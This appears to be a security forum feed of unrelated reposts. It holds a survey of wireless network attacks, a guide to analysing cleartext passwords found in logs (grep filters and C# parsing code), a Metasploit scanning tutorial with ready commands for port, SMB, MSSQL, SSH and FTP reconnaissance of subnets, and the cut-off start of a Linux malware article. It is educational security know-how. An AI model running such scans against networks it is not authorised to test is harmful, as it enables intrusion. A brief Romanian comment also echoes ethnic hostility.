As we all know, wireless networks are spread at each and every part of the world, starting from personal home to corporate business environments, schools/universities, cafes, etc. The major merit of wireless networking is to eliminate the big and untidy cables, which acquires space and unspoils the look of your working area. But as we all know, each coin has two sides. There are demerits of wireless networking as well. It comes with high possibility of attacks on it. In this article I am going to describe different techniques of attacks on wireless networks and what we should do to prevent them. Let’s start with WLAN protocol, which is also known as 802.11 protocol, commonly used for wireless networking. The major function of this protocol is to link more than one device. It uses spread spectrum signals. The functionality of these signals is based on radio frequency communication where networking is established between two point-to-point end devices consisting of a transmitter and a receiver. In this mechanism, participants (in terms of end devices) must have transmitters and receivers to send and receive signals. To connect to the wireless network, each participant must have wireless AP (Access Point – also known as Wi-Fi hot-spot) along with the wireless adaptor. The AP acts as a walkie-talkie. It converts radio signals into digital signal and vice-versa. When AP transmit the signals, those signals have SSID, known as service set identifier & information of network identification. The receiver detects the signals and lists the available wireless network around him/her, along with the signal strength. Not only this, it also identifies whether the AP is using any security, and if yes, then what is the level of security. As its wireless network, it allows more than one node to let those nodes connect with the network, so that is why authentication is important to ensure there is not any malicious Internet user lying in that network. The AP holds this responsibility. Wi-Fi Security If you look into the wireless network protocol architecture as shown in the figure below, you will come to know that there is no inbuilt security in that. Figure: 802.11 Protocol Architecture So researchers implemented techniques such as authentication and encryption on the top of the 802.11 protocol stack. These techniques are WEP and WPA, respectively known as “Wireless Equivalent Privacy” & “Wi-Fi Protected Access”. Unlike wired networks, a wireless network’s signals can be effortlessly intercepted and tampered with. So encryption and authentication is a must for wireless networks. Establishment of Wireless Network Using the Pre-Shared Authentication Technique For successful establishment of the connection, we know that the client will need to access the AP. So the client sends the request to the AP for authentication. Then the AP sends the client a challenge: the client will need to encrypt the text using the pre-configured key and she/he also sends it back to the AP. The AP decrypts it using the key, and if matching, the connection is established; otherwise, the connection will be dropped. I have written this key exchange and acknowledgement process in a very simplified way. In real life, the scenario it works as shown in figure 2 below. Figure: Pre-shared Authentication Process The newer version of the protocol consists of SSID with the shared key combined with it. The WEP key uses the RC4 algorithm, however the WEP key is completely broken. So big IT firms do not use the WEP key, in order to not put their organization’s wireless network at risk. Now we completely understand what is Wi-Fi, how it works, and what are the protocols in action. Now let’s move to the security attacks in Wi-Fi networks. Passive Attack: These attacks are not harmful to the networks; they take place for information-gathering. A malicious user just listens to the all inbound and outbound traffic of a wireless network. As we know, traffic contains packets, and each packet contains juicy information such as packet sequence numbers, MAC address, and much more. The nature of these attacks is silent, that is why they are hard to detect. Using this attack, a malicious attacker can make an active attack to the wireless network. Sometimes malicious users use packet-deciphering tools in order to steal information by decrypting the data from it. Deciphering packets in WEP is really easy, as WEP’s security is very low and easily breakable. Sometimes this technique is also called WAR DRIVING. If you want to know how war driving is possible and carried out practically, then you must check the reference at the end, in which there is a report which describes the full method of it. Active Attack: As the attacker does a passive attack in order to get information about the wireless network, now she/he will do an active attack. Mostly, active attacks are IP spoofing & Denial of Service attack. IP Spoofing: In this attack scenario, the attacker accesses the unauthorized wireless network. Not only that, but also she/he does packet crafting in order to impersonate the authorization of that server or network. Denial of Service Attack: Here the attacker makes an attack on a particular target by flooding the packets to the server. In most cases, SYN packets are used because they have those capabilities of generating the flood storm. MITM Attack: Here the attacker accesses the information of the AP of any active SSID. Here dummy APs are created. The attacker listens the communication between to end points. Let’s suppose a client is having a TCP connection with any server, then the attacker will be the man in the middle and she/he splits that TCP connection into two separate connections, whose common node will be an attacker himself/herself. So the first connection is from client to an attacker, and the second connection will be from the attacker to the server. So each and every request and response will be taking place between client and server via an attacker. So an attacker can steal information passing in the air between them. Figure : MITM attack scenario Wireless Signal Jamming Attack: In this attack scenario, wireless radio signals are used. An attacker may have a stronger antenna for a signal generator. First, the attacker identifies the signal patterns around him or the target AP. Then she/he creates the same frequency pattern radio signals and starts transmitting in the air in order to create a signal tornado of a wireless network. As a result, the target AP gets jammed. On top of that, the legitimate user node also gets jammed by signals. It disables the AP connection between a legitimate user of wireless network and the network itself. There can be mainly three reasons for jamming the wireless network: Fun – Prevent the legitimate user from receiving any kind of data from the Internet. Spy – Delay in packet deployment to the legitimate user can give more time to an attacker for deciphering the packet in order to steal the information. Attack – Attacker may spoof the packets and send it to the victim in order to take control over the user’s machine or network. This is a type of DOS attack on the wireless networks. This attack takes place when any fake or rough RF frequencies are making trouble with the legitimate wireless network operation. In some cases, those are false positives, such as a cordless telephone that uses the identical frequency to the wireless network. So in that case, you might see some results in your wireless monitoring software or mechanism, but it is actually not a jamming of signal. It is not a very common attack, as it requires a ton of capable hardware. Figure 4. Access Points, Transmitters and Jammers Above, figure 4 describes the architecture of a launched attack in which there are different access points, jammers and legitimate transmitters. The jammer’s main function is make an interference in the wireless communication. Pre-Shared Key Guessing: As we all know, a pre-shared key is used by both the AP as well as the node in order to encrypt the data communication. Generally administrators of those Wi-Fi networks don’t change the default key in place. Professional hackers always try to find the manufacturer of wireless access points in order to get the default ID and password. There are some websites which provide the list of default router manufacturer name, their administrator ID and passwords. Some of them are listed below: Default Router Passwords - The internets most comprehensive router password database Default Password List Big bertha says: default passwords These websites show a list of ID passwords for different router admin access and configuration setting access. But to connect to that part, the attacker will need to access Wi-Fi. Nowadays every router comes with encryption technology, and mostly all the routers are using a WEP key. The full form of WEP is wired equivalent privacy, which is the default standard protocol for 802.11 wireless networks. It is based on the RC4+XOR algorithm in order to convert plain text into cipher text by using a 40 bit long key along with a 24 bit initialization vector. Below, figure 5 shows the standard WEP encryption process using the RC4 algorithm along with the XOR technique. Figure 5. Standard WEP Encryption Process using RC4 algorithm with XOR operation However, research shows that this encryption mechanism has many weaknesses, and that is why it is completely broken. Research also says that it takes more than 40,000 packets of data to crack WEP in minutes. There are some other techniques such as dictionary attack and statistical key guessing attack that can be used to break a WEP key in no time. There are some other attacks too which are potential threats to the wireless networks. Those attacks are mentioned and described below. Before understanding the different wireless network attacks, we need to know where a wireless attack can be performed by an attacker. To illustrate that, see figure 6 below. Figure 6. Places where wireless attacks can be performed Frame Injection Attacks on 802.11: To perform this kind of attack, an attacker must have a deep understanding and knowledge of the protocol. Any professional hacker will perform this method in order to perform an injection attack on wireless networks. Firstly, she/he will perform passive information gathering of that network. Then the attacker creates wireless protocol frames in order to send it to the targeted network. There are basically two ways of doing so. One can either create a false packet and insert it into that network. The other way is to sniff the network traffic. Once these packets are sent to the server, the response from that wireless network is captured, intercepted and modified by an attacker to perform a man-in-the-middle attack. This is hard to detect, as it happens at layer two. An illustration of this process is shown below in figure 7. Figure 7. Frame Injection & MITM attack scenario in wireless networks Denial of Sleep Attack: Sometimes wireless networks don’t use radio transmission. So in order to reduce consumption, it regulates the communication of that particular node. A malicious user can take advantage of this mechanism. An attacker may drain the power supply of the sensor device in order to make node’s life very short, or attack the MAC layer to reduce the sleep period of it. If a number of drained nodes goes high, the whole network can be disrupted. Only the MAC protocol has an ability to create a longer sleep duration. Without that, you cannot extend the lifetime of your wireless network. Collision Attack: In this type of attack, the attacker tries to spoil the packets to be transmitted to the receiver. So when the attacker is successful, the resulting packet’s checksum will not be expected at the receiver’s end. As a result of that, the whole packet will be discarded at the receiver’s node. Now retransmission of that packet will consume high energy of that particular sensor node. A second approach to collision attack can be defined as this: Sometimes, messages get transmitted on the node via same frequency, and it can also generate collision. An illustration of this same frequency problem can be understand in the figure below. Figure 8. Channel Overlapping Scenario As you can see in the figure, the yellow area is showing that channel two’s signals are overlapping on to channel one’s work area. Both channels will suffer in communication. De-Synchronization Attack: In this attack, the attacker tries to modify the control flags and sometimes the sequence numbers in order to forge the packets, or messages. As a result, the attacker limits the legitimate user from exchanging the messages between the server and client. It will continuously request retransmission of those messages. This attack causes aninfinite cycle of retransmission. It acquires a lot of energy. We can also say that the attacker disturbs the established connection between two end points. Flooding Attack: There are plenty of DoS attacks which reduce the network lifetime in different ways. One of the common methods is Denial of Service attack. An attacker sends a huge amount of packets in order to stop the network from communicating with different nodes. The main aim of this attack is to exhaust the resources on the victim’s machine. Figure 9. Flooding in Wireless Network Replay Attack: In this process, transmission data is repeated maliciously. An attacker intercepts the data in order to retransmit it further. It’s a part of masquerade attack which can be carried away by substitution of an IP packet. A stream cipher attack can be taken place into that. Figure 10. Replay Attack Process Flow An attacker repeats copies of the packets to the victim in order to exhaust the energy or power supply. This kind of attack has an ability to crash applications which are designed poorly. Selective Forwarding Attack: It may also refer as ‘gray hole attack’. In this form of attack, an attacker may stop the node to pass packets through by forwarding or dropping those messages. In one form of selective forwarding attack, a node selectively rejects the packets by dropping them from coming into that network from an individual node or a group of individual nodes. Figure 11. Selecting Forwarding Attack Scenario The above figure illustrates this attack. Here you can see that a malicious node is selectively dropping packets from a certain node or group of nodes. It may do that or forward it to somewhere else which will create no trustable routing information due to forwarding packets to any wrong path within the network. Unauthorized Routing Update Attack: In the routing process, many components take place such as hosts, base station, access points, nodes, routing protocols, etc. A malicious user may try to update all this information in order to update the routing table. It may be possible that due to this attack, some of the nodes get isolated from the base station. Also, a network partition may occur due to this attack. Packets may be dropped after the TTL expires. Packets can be forwarded to any unauthorized user. All of these incidents are the impact of this attack. Wormhole Attack: In this type of attack, an attacker copies the whole packet or message by tunneling them to another network from the originator. Then the attacker transmits them to the destination node. When the attacker transmits the copied messages or packets to the destination node, she/he transmits it speedily in such a way that copied packets reach the destination node before the original packets (from the legitimate user) reach it. To do that, the attacker uses a wormhole tunnel. Wormhole nodes are fully invisible. Figure 12. Wormhole Attack Scenario As an example, the impact of a wormhole attack on routing protocols is illustrated in Figure 12. The adversary establishes a wormhole link between nodes s9 and s2, using a low-latency link. When node s9 broadcasts its routing table as in distance vector routing protocols, node s2 hears the broadcast via the wormhole and assumes it is one hop away from s2. Similarly, the neighbors of s2 adjust their own routing tables and route via s2 to reach any of the nodes s9, s10 s11, and s12. Sinkhole Attack: This is a special kind of selective forwarding attack which draws attention on the compromised node. A compromised node attracts all maximum possible traffic of the network. Then it places malicious node to the closest base station and it enables the selective forwarding attack. It is a very complex attack. Detection of a sinkhole attack is very hard and it affects the higher layer applications. The below figure illustrates the architecture of a sinkhole attack. Figure 13. Sinkhole Attack Scenario The interesting part is, a sinkhole attack can be also done with a wormhole attack. The below figure illustrates this scenario in which one malicious node gathers all traffic of the network (sinkhole attack) and it tunnels (Wormhole attack) with another node in order to reach to the base station. Figure 14. Sinkhole Attack with Wormhole Attack Impersonate Attack & Sybil Attack: This attack is very common and well known. The attacker may obtain the legitimate person’s IP address or MAC address in order to steal his/her identity and make it his/her own. Then the attacker may attack another victim and can do plenty of things with that new stolen identity of the legitimate user. A Sybil attack is an advanced version of an impersonate attack in which a malicious user (attacker) may steal multiple identities. In technical terms, a malicious node represents itself to the other fellow nodes by acquiring multiple identities within itself. Impacts will be the same as in in an impersonate attack. Traffic Analysis Attack: Here an attacker gains the information of the network traffic as well as the behavior of the nodes. Traffic analysis can be done via checking the message length, pattern of message, and duration in which it stayed within the session. Then the attacker might correlate all this inbound and outbound traffic to any single custom router, which might violate the privacy of the members due to being linked with those messages. Sometimes an attacker might able to link two nodes with an unrelated connection within the network. Source
-
ATAC DUR LA INTEGRITATEA TERITORIALA A ROMANIEI.
Aerosol replied to wirtz's topic in Discutii non-IT
Hai serios acum nu aveti ce face decat sa comentati aiurea? @wirtz are niste articole foarte interesante, mie personal imi place cum gandeste si imi place site-ul sau. Cat despre "esti anti-ungur, anti-tigani" frate e tara noastra si astia vor sa o ia bucata cu bucata si mai trist este ca nimeni nu face nimic... -
It’s one of the most exciting moments in a security researcher’s work: while looking through an obscure log file, you see strings like “James1984? and “SecureMe!” scattered throughout the data. Upon closer inspection, you realize that you’ve uncovered hundreds if not thousands of cleartext username/password pairs! Even as you celebrate your success, you are also tempted to use your victory to push for additional security reforms, such as a stronger password policy, or publish your results to educate other security professionals. But how, exactly, would you go about conducting and publishing a password analysis without exposing the company to harm, from insider threats or otherwise? Step 1: Develop a Remediation Plan and Get It Approved With a “minimize risk to company” hat affixed firmly to your head, the first thing you should be concerned about is removing passwords from the place they were detected, or at least restricting access to that area. Only after you have achieved this goal should you be concerned about creating a report regarding password quality. Plan to Remove the Password Data To remove passwords, you may end up altering files or database records, restricting access to them, or destroying them outright. Add whatever you think is the right way to mitigate this risk, and perhaps a second mitigation method, to your plan. Plan to Stop the Application from Writing New Password Data The application that caused the problem may still be writing usernames and passwords out to the location you found. Filing a high-priority security defect with the application developers to have this information redacted in logs should be another part of your plan. Plan for the Time Gap Between Now and Deployment of Fix You will also have to worry about the time between when you manually remove current password data and the time when your application developers deliver a fix to their application. To address this gap, add a recommendation to turn off logging, retune logging, set up access controls, or automate the remediation steps you performed during the initial cleanup to your plan. Plan to Analyze the Passwords—Safely and Somewhere Else Finally, if you are going to perform a password analysis on your findings, you will need a secure copy of the original data and a secure workspace to develop your reports and intermediate artifacts. Add a section to your plan that states you will make an encrypted copy of the original file, perform analysis in a secure environment, publish a report that describes the quality of the passwords in use without revealing any information about any particular users, and destroy your original work. (We will flesh out each of these elements below.) Also, if you and your company are familiar with “chain of custody” (CoC) procedures regarding sensitive data or security findings, you may also want to build those steps into your plan. (CoC procedures go above and beyond the steps listed here; you would add your own CoC procedures to the steps listed in this article.) Get Your Plan Approved Now, with your four-part plan (remove passwords, submit a bug, remediate until fixed, and analyze securely) under your arm, approach the sponsor of your security work and get his or her approval to proceed with all parts. If You Do Not Have Approval, Do Not Proceed At this point it is quite likely that your sponsor will allow you to proceed with certain parts of your plan, but not the analysis. If this is the case, you may continue to lobby for inclusion, but please do not proceed down the path of using company data for an unapproved password analysis and absolutely never retain a “personal” copy of the original data for your own purposes. Step 2: Preparing Your Password Analysis Lab Make a Strongly Encrypted Copy of the Source Data If you have permission to proceed, start by securing a copy of the original data in an encrypted file with an appropriate name. OpenPGP is a good choice for encrypting the data until you have your lab ready. Appropriate names are those that link the file to you, your project codename or the date, but don’t reveal the contents. For example, “jsmith_20131227.pgp” and “bluegoat_01.pgp” would be appropriate names, but “everyones_passwords.pgp” or “securityscan_findings.pgp” would not be appropriate. Once you have a strongly encrypted copy of the original data, you may proceed with your mitigation plan to remove the original copies of the data. (Remember, mitigation should take a higher priority than password analysis.) Set Up an Encrypted Folder for Your Workspace Next, set up a folder that uses automatic encryption through the operating system or another piece of software. For example, on Microsoft operating systems, EFS is a good choice. This folder should be completely empty when you begin because you will delete it and all of its contents at the end of your analysis. Unpack the Source Data into Your Encrypted Folder Move (i.e., copy and then delete the original) your original encrypted file into your encrypted folder and then unpack its contents there. Step 3: Strip the Data Down to Usernames and Passwords Using scripts or an automated text processor, strip your original files down to just username/password combinations. Note that this step can be time-intensive, particularly if you need to obtain programming services from another part of the company. Increase the Density of Your Password Data It is easy to use Windows “findstr,” Unix “grep,” or command-line database commands to locate and filter interesting lines that may contain passwords from original data. Performing this initial filter yields “dense” files (i.e., more password data than before) that make the next step more accurate and efficient. For example, to quickly locate lines in a file that might contain passwords by filtering for the word “pass” you could use the following grep or findstr commands. grep ‘pass’ *.logs > possible-passwords.txt findstr /C:"pass" *.logs > possible-passwords.txt Or, you could use the following SQL Server command to pull possible passwords out of a table. sqlcmd /Q "SELECT Notes FROM Users WHERE Notes LIKE ‘%pass%”" Parse Your Password Data Once you have some dense password files, variations on the “split()” function will help you parse the data. For example, imagine a web log with entries such as: 2013-02-18 12:23:34 134.123.112.101 POST /ChangePassword.php User=Joe&OldPass=FFrr44&NewPass=GGrrtt1&NewPass2=GGrrtt1 200 First, you would use a split() command to grab the sixth element. Then you would use a second split() command to grab key/value pairs such as “OldPass=FFrr44?, and a third split() command to break each key/value pair into a key (such as “OldPass”) and a value (such as “FFrr44?). In this instance, your parsing code might look something like this (in C#): // Reads in a web log file full of username/password combinations // Writes unique username/password combinations into a hashtable // while ((line = fileIn.ReadLine()) != null) { Username = ""; Password = ""; ParsedLine = line.Split(' '); // Split on each space sQueryString = aParsedLine[5]; // Get the 6th element ParsedArgs = sQueryString.Split('&'); // Split on each ampersand foreach (string OneArg in ParsedArgs) // For each element... { UsrPwd = OneArg.Split('='); // Split on the equal sign // // Expect Username to come before password on a line // Usernames are case-insensitive, so we'll lower-case them all if (UsrPwd[0].ToLower().StartsWith("username")) { Username = HttpUtility.UrlDecode(UsrPwd[1].ToLower()); } // // If we already found the username, we can look for passwords // Passwords are NOT case-sensitive, so no upper- or lower-casing // Note that we cannot just use the username as the key if we are // expecting multiple passwords in a line (e.g., oldpass, newpass) // if ((Username.Length > 0) && UsrPwd[0].ToLower().Contains("pass")) { Password = HttpUtility.UrlDecode(UsrPwd[1]); HashKey = Username + "||" + Password; if (!hashtable.ContainsKey(HashKey)) { hashtable[HashKey] = Password; } } } } // // Now write out the hashtable, one line per username/password combo // foreach (DictionaryEntry entry in hashtable) { Username = entry.Key.ToString().Replace("||" + entry.Value, ""); Password = entry.Value.ToString(); fileOut.WriteLine(Username + "t" + Password); } Step 4: Analyze Your Username and Password Data Now that you have a file that contains nothing but usernames and passwords, you are ready to analyze your data. You can conduct any number of experiments on your data, but producing some basic length, complexity, and predictability (or “guessability”) statistics is a great place to begin. I recommend using a two-step approach to your analysis. Step one is to go line-by-line through your password file and calculate statistics for each line, writing a new password statistics line to a new CSV file as you go. Step two is to pull your password statistics CSV file into your favorite spreadsheet and run your final analysis against the individual statistics. Calculating Password Length To calculate password length, simply read in each password and write out its length. Most programming languages include a “len” or “length” method or property on strings; use it. Calculating Password Complexity Regular expressions (“RegEx”) are the right tool to use when checking passwords for complexity. A simple test looking for upper-case letters, lower-case letters, numbers and special characters can be used with calls to a single RegEx-powered function. For example (in C#): iLength = Password.Length; iUppers = CountInstances(Password, "A-Z"); iLowers = CountInstances(Password, "a-z"); iNumbers = CountInstances(Password, "0-9"); iSpecials = iLength - iUppers - iLowers - iNumbers; // CountInstances(ToSearch, ToFind) { return Regex.Matches(ToSearch, "[" + ToFind + "]").Count; } Calculating Similarity To calculate if any two items are similar to each other, you will probably need to build a function. However, the time to build such a function is well worth it, since it will allow you to detect similarity in strings like “JohnSmith” and “j.smith45?. The following function returns “true” if any set of characters iWindow characters long matches between the two phrases. If returns “false” if iWindow is shorter than either of the two phrases or if no match is discovered. IsPhraseSimilarToPhrase(sPhrase1, sPhrase2, iWindow) { if(sPhrase1.Length >= iWindow AND sPhrase2.Length >= iWindow) { for (i=0; i<sPhrase1.Length - iWindow; i++) { sCheck1 = LowerCase(Substring(sPhrase1, i, iWindow)) for (j=0; j<sPhrase2.Length - iWindow; j++) { sCheck2 = LowerCase(Substring(sPhrase2, j, iWindow)) if (sCheck1 == sCheck2) { return true } } } } return false } Use this function or one like it to conduct the rest of your statistical calculations. Calculating Similarity Between Username and Password To calculate whether a username is similar to a password, simply feed both into your similarity function. For example: If IsPhraseSimilarToPhrase(Username, Password, 4)... Calculating Similarity Between Password and Current Year To calculate whether a password is similar to the current year, simply feed the year (or year part) into your similarity function. For example: If IsPhraseSimilarToPhrase(Username, “2013”, 4)... Calculating Similarity Between Password and an Initial Password To calculate whether a password is similar to an initial static password, simply feed the initial password (or common piece of initial password) into your similarity function. For example: If IsPhraseSimilarToPhrase(Username, “Starter”, 4)... Calculating Similarity Between Password and the Word “Pass”) To calculate whether a password is similar to the word “password” (or just “pass”), simply feed the phrase “pass” into your similarity function. For example: If IsPhraseSimilarToPhrase(Username, “pass”, 4)... You may want to run it again with the shorter phrase “pwd” as well. (or) If IsPhraseSimilarToPhrase(Username, “pwd”, 3)... Calculating Similarity Between Password and Dictionary Words Finally—a challenge! Before we can perform this analysis, we need a dictionary full of words to test. There are many dictionaries available for free from the Internet, but many need to be pre-processed to strip out comments and extra columns before we can use them. If you are running your analysis on Windows, an incredibly useful test of tools to download now are the “GnuWin32? tools, especially “wget” to download pages from the Internet and “grep” to parse pages downloading from the Internet. These tools can be combined in a short batch file to download and prepare a batch file for our use. REM Pull a free dictionary file off the Internet wget -nd http://svn.pietdepsi.com/repos/projects/zyzzyva/trunk/data/words/North-American/OWL.txt REM Now strip off everything but the first word in the file grep -Eo "^[^ ]+" OWL.txt > dictionary-en.txt Or, on Linux: wget -nd http://svn.pietdepsi.com/repos/projects/zyzzyva/trunk/data/words/North-American/OWL.txt grep -Eo '^[^ ]+' OWL.txt > dictionary-en.txt Now, we can open up the resulting dictionary file and check to see if each password contains a dictionary word. Remember to perform your “contains” comparison while ignoring case sensitivity. For better performance, you may also want to read the entire password file into memory first (most computers can spare the room these days) and reuse it for each password entry. You will probably also want to ignore any dictionary words shorter than three or four letters (I ignore anything shorter than four letters), which you can do in code (e.g., “if DictWord.Length > 3?) or by erasing the top entries from your dictionary if they are arranged from shortest to longest word. For example (in C#): // Read the dictionary into memory (hashtable called “hashWords”) while ((line = fileIn.ReadLine()) != null) { sOneWord = line.Trim().ToLower(); if (sOneWord.Length >= 4) { hashWords[sOneWord] = sOneWord; } } ... // Call a function to see if a password contains a dictionary word if PhaseContainsWordsFromList(Password, hashWords)... ... // Use this function to check password against a list of words PhraseContainsWordFromList(sPhrase, htPhrases) { bMatched = false; foreach (DictionaryEntry entry in htPhrases) { if (sPhrase.Contains(entry.Key.ToString())) { bMatched = true; break; } } return bMatched; } Note that simply flagging a password as bad because it contains a dictionary word is not a good idea in all cases. If the password is long enough to contain multiple (>2) dictionary words and a mix of upper-case and lower-case letters, it may still be a strong password. However, if a password only contains a single dictionary word and is as short as it could be, it probably is not a strong password. Calculating Similarity Between Password and Keyboard Phrases Unfortunately there do not appear to be readily accessible lists of keyboard phrases on the Internet. (I hope I’m wrong – please let me know otherwise in the comments below.) With that in mind, you may need to write your own list of keyboard phrases for this test. A few examples of the types of sequences that should be in that file are listed below. (Take a look at your keyboard while you’re typing these you don’t understand where these are coming from.) qwer asdf lkjh qaz 123 aaa Once your file is ready, use code similar to that you used to discover password discoverability to compare each password against an entry in the list. Do not worry about multiple uses of keyboard phrases; a single use of any of these common phrases should be enough to flag a password as weak. Performing Statistical Analysis Using the spreadsheet of your choice, load up your line-by-line statistics files and use the spreadsheet’s “MIN”, “MAX”, “MODE”, “AVERAGE” and “COUNTIF” functions to calculate: Minimum, maximum and average password length Most common password length % of passwords containing upper-case letters, lower-case letters, numbers and special characters Average number of upper-case letters, lower-case letters, numbers and special characters in each password % of passwords similar to their usernames % of passwords containing this year % of passwords containing the phrase “pass” % of passwords containing a dictionary word % of passwords containing a keyboard phrase Optional: % of passwords similar to the initial static password Step 5: Publish the Report and Destroy Your Lab Please do not forget to perform this step, and perform it completely. When you are ready to publish your results, perform a final check on your report to make sure it doesn’t contain any personally identifiable information or specific usernames. When you are ready, move the final copy of your report out of your encrypted folder into a permanent location in your company’s file store. Then, delete the entire lab folder. Make sure that it has really been deleted. For example, on a Windows operating system, make sure that it is not just sitting in the Recycle Bin. Step 6: Sharing Your Results with the Security Community If you want to share your analysis with the greater security community, please be prepared to wait a while, and to release your results “in waves.” First, you will absolutely want to wait until all remediation is complete. In some cases this will mean publishing the fix to the affected application. In other cases this will require you to wait until end users have been forced to change their passwords after the fix enters production. Second, you will want to wait until the political ramifications of the breach have shaken out. (This can vary widely by company.) When (or if) you can safely satisfy both criteria, only then should you approach your sponsor about sharing your analysis with other security experts. Ideally you would tie your release in with a local security event that will bring prestige to your company as an industry leader, rather than in an online forum (which could be seen as a knock on its operations). Make sure specific company and application information is scrubbed from your report, although you may want to retain information such as the size of the user base and the application’s regulatory exposure (e.g., subject to HIPAA, PCI-DSS, SOX, etc.). Once you have permission to proceed, go ahead and release your findings. Expect that a copy of your findings will be published on the Internet, so plan to use the web site resources of the organization you released the results through to publish your findings. Among other things, publishing through a security web site also gives you cover (e.g., “see, other security experts thought it was okay. too”) in case your sponsor changes his or her mind about publishing your results later. Enclosures dictionary-en.txt is an English dictionary derived from zyzzyva open source project (The GNU General Public License v3.0 - GNU Project - Free Software Foundation). keyboardpatterns.txt is a list of common keyboard patterns. makepassworddictionary.bat is a batch file to download an English dictionary; depends on GnuWin32?s grep and wget commands. PasswordAnalysis.cs is C# sample code to parse an IIS file and analyze passwords. README.txt contains additional installation and usage instructions. Source
-
Your goals during information gathering should be to gain accurate information about your targets without revealing your presence or your intentions, to learn how the organization operates, and to determine the best route. Metasploit is the best console for information gathering, as it is a very comprehensive penetration testing tool. In this article, I am going to cover whole information gathering of a network using Metasploit. Information gathering requires careful planning, research, and most importantly, the ability to think like an attacker. At this step, you will attempt to collect as much information about the target environment as possible. There are two types of information gathering: passive and active. 1) Passive Information Gathering Using passive information gathering, you can discover information about targets without touching their systems. For example, you can identify network boundaries, operating systems, open ports, and web server software in use on the target without touching their system. 2) Active Information Gathering In active information gathering, we interact directly with a system to learn more about it. We might conduct port scans for open ports on the target or conduct scans to determine what services are running. Each system or running service that we discover gives us another opportunity for exploitation. But beware If you get careless while active information gathering, you might be nabbed by an IDS or intrusion prevention system (IPS). Starting msfconsole •First, we start the database #service postgresql start •then start metasploit service #service metasploit start now start msfconsole. #msfconsole •now, we’ll use db_status to make sure that we’re connected correctly. Importing Nmap Results into Metasploit When you are working with other team members, with various individuals scanning at different times and from different locations, it helps to know how to import a basic nmap generated XML export file into the Framework. First, we scan the Windows virtual machine using the -oX option to generate a Target.xml file. #nmap -Pn -sS -A -oX Target 192.168.20.0/24 After generating the XML file, we use the db_import command to import it into our database. We can then verify that the import worked by using the “hosts” command, which lists the systems entries that have been created, as shown here: msf > db_import Subnet1.xml msf> hosts Running Nmap from MSFconsole We’ve performed advanced enumeration on our target, now let’s connect Nmap with Metasploit. First, we should be able to enter the db_nmap command from within msfconsole to run Nmap and have its results automatically stored in our new database. #msf > db_nmap -sS -A 172.16.32.131 To check that the results from the scan are stored in the database, we run db_services. #msf > db_services Port Scanning with Metasploit Metasploit has several port scanners built into its auxiliary modules that directly integrate with most aspects of the Framework. We’ll use these port scanners to leverage compromised systems to access and attack. To see the list of port scanning tools that the Framework offers, enter the following. #msf > search portscan Let’s conduct a simple scan of a single host using Metasploit’s SYN Port Scanner. In the following listing, we start the scan with use scanner/portscan/syn, set RHOSTS to 192.168.20.0/24, set THREADS to 100, and then run the scan. #msf > use scanner/portscan/syn Server Message Block Scanning Metasploit can attempt to identify versions of Microsoft Windows using its smb_version module.so we use smb_version. And set RHOSTS, and begin scanning. #msf > use scanner/smb/smb_version We have discovered a system running Windows XP without having to do a full scan of the network. Gathering My SQL server information Many system administrators don’t even realize that they have MS SQL servers installed on their workstations at all, because the service is installed as a prerequisite for some common software, such as Microsoft Visual Studio. When MS SQL is installed, it listens by default either on TCP port 1433 or on a random dynamic TCP port. If MS SQL is listening on a dynamic port, simply query UDP port 1434 to discover on what dynamic TCP port MS SQL is listening. Metasploit has a module that can make use of this “feature”: mssql_ping. It uses UDP. Metasploit finds MS SQL servers, it displays all the details it can extract from them including, perhaps most importantly, the TCP port on which the server is listening. Now use mysql_ping: #msf > use scanner/mssql/mssql_ping msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(mssql_ping) > set THREADS 255 THREADS => 255 msf auxiliary(mssql_ping) > run As you can see, not only does the scanner locate an MS SQL server, but it also identifies the instance name, the SQL server version, and the TCP port number on which it is listening. Gathering SSH Server Information If during your scanning you target machines running Secure Shell (SSH), you should determine which version is running on the target. SSH is a secure protocol, but vulnerabilities in various implementations have been identified. You never know when you might get lucky and come across an old machine that hasn’t been updated. You can use the Framework’s ssh_version module to determine the SSH version running on the target server. #msf > use scanner/ssh/ssh_version Scanning FTP Version FTP servers are often the easiest way into a target network, and you should always scan for, identify, and fingerprint any FTP servers running on your target. According to the vulnerability, you can launch an attack and get into the target system. Here we use the ftp_version module for scanning the FTP server. #msf > use scanner/ftp/ftp_version The scanner successfully identifies an FTP server. Now let’s see if this FTP server allows anonymous logins. Here we use “scanner/ ftp/anonymous“ The scanner reports that anonymous access is allowed and that anonymous users have read access to the server. In other words, we have only read access to the remote system and the ability to read any file that can be accessed by the FTP server software. This is how we do information gathering using the Metasploit console. Probably in my next article, I will move towards vulnerability scanning, and later on, exploitation. References Aldi Iskandar Metasploit > 3. Intelligence Gathering > Active Information Gathering - Pg. : Safari Books Online [ulr=http://resources.infosecinstitute.com/information-gathering-using-metasploit/]Source
-
Imagine that you’re using your PC, server, smartphone or tablet. The operating system and applications on it aren’t behaving the way they usually do. You pull up Google’s search page in your web browser. You get redirected to a web page filled with blinking web banners saying “Your computer has 6,666 viruses! Click here to remove them now!” Britney Spears is your guilty pleasure. You pop a CD of her Blackout album into your laptop’s optical drive, the one you bought from HMV back in 2007. Instead of your default music application playing the sweet sounds of “Gimme More,” a window pops up. “This CD needs a special program to play it. Click here!” You navigate back to your desktop. You double-click on the iTunes icon. Instead of iTunes launching, something else does. “Hot Russian chicks… They’re lonely, horny and desperate! They want to talk to YOU! Click here!” Your best friend calls you on your Android smartphone. “Why do you keep texting me about the ‘one weird trick’ for losing weight?” Anyone who’s reasonably familiar with computer technology could probably guess that malware is the culprit to all that calamity. In my IT security career, I interact with both end users and computing professionals from all walks of life. There’s so much Windows targetting malware that’s been circulating through the Internet for the past couple of decades that most Windows users, even when they use currently patched antivirus shields, are all too familiar with many of the symptoms of infection. It’s also a popular myth that malware is exclusively a Windows problem. Many Apple fans say, “I don’t need an antivirus program, I use a Mac!” And although x86 Linux distro users tend to be more technologically savvy than most, many of them, even those who work in IT, would never consider malware to be a possibility on their platform of choice. Malware is one of my primary areas of professional focus and study. I’ve rescued datacenters from malware that has crippled their entire internal networks. I’ve said this time and time again; any computer that can receive outside data, whether via networking or removable media, can become infected with malware. The only way to guarantee that a computer, whether it’s a PC, server, smartphone, tablet, or embedded system, will never get infected is by thoroughly examining its data storage on disks and firmware, and then completely cutting it off from networking and removable media. And that’s simply not plausible, especially in the 21st century. Your typical end user probably never sees Ubuntu, Fedora, or Linux Mint. But they’re using the Linux kernel, likely every single day. And more than half of 